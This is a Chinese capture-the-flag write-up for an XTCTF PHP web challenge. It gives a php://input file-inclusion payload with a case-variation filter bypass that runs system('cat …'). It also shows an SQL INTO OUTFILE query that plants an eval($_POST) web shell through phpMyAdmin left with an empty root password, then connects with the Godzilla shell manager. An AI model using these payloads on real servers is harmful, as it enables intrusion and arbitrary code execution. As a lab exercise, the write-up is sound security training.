题目描述
来源 XTCTF
Solution
打开页面,观察源代码:

1、show_source():用于高亮显示源码;
2、strstr($haysack: string, $needle: mixed) -> string:返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串(大小写敏感);
3、str_replace($search: mixed, $replace: mixed, $subject: mixed) -> mixed:返回一个字符串或数组,该字符串或数组是将subject中全部的search都被replace替换后的结果;
4、php://input可以获取 POST 数据流,当它与包含函数结合时,php://input流会被当作 php 文件执行,从而导致任意代码执行;
Solution 1
我们用 dirsearch 扫一下目录,发现一个有意思的文件:

打开看看,发现allow_url_fopen=on和allow_url_include=on:

由此我们可以利用文件包含漏洞来完成任意代码执行。我们使用 Brupsuite 的 Repeater(重放器),用Php://大小写绕过发送请求:

得知 Flag 文件的位置所在,我们构造 Payload:<?php system('cat fl4gisisish3r3.php');:

Solution 2
根据之前 dirsearch 扫出来的目录,我们发现有 phpmyadmin,点击 URL:http://111.200.241.244:53007/phpmyadmin/index.php,账号为root,密码为空,直接连进,然后利用 SQL 查询写入一句话木马:
select "<?php eval($_POST['shell']);" into outfile '/tmp/banana.php'

然后打开哥斯拉,连接 WebShell,URL 是http://111.200.241.244:53007?page=/tmp/banana.php,密码是shell:

我们在/目录下找到 Flag 文件:

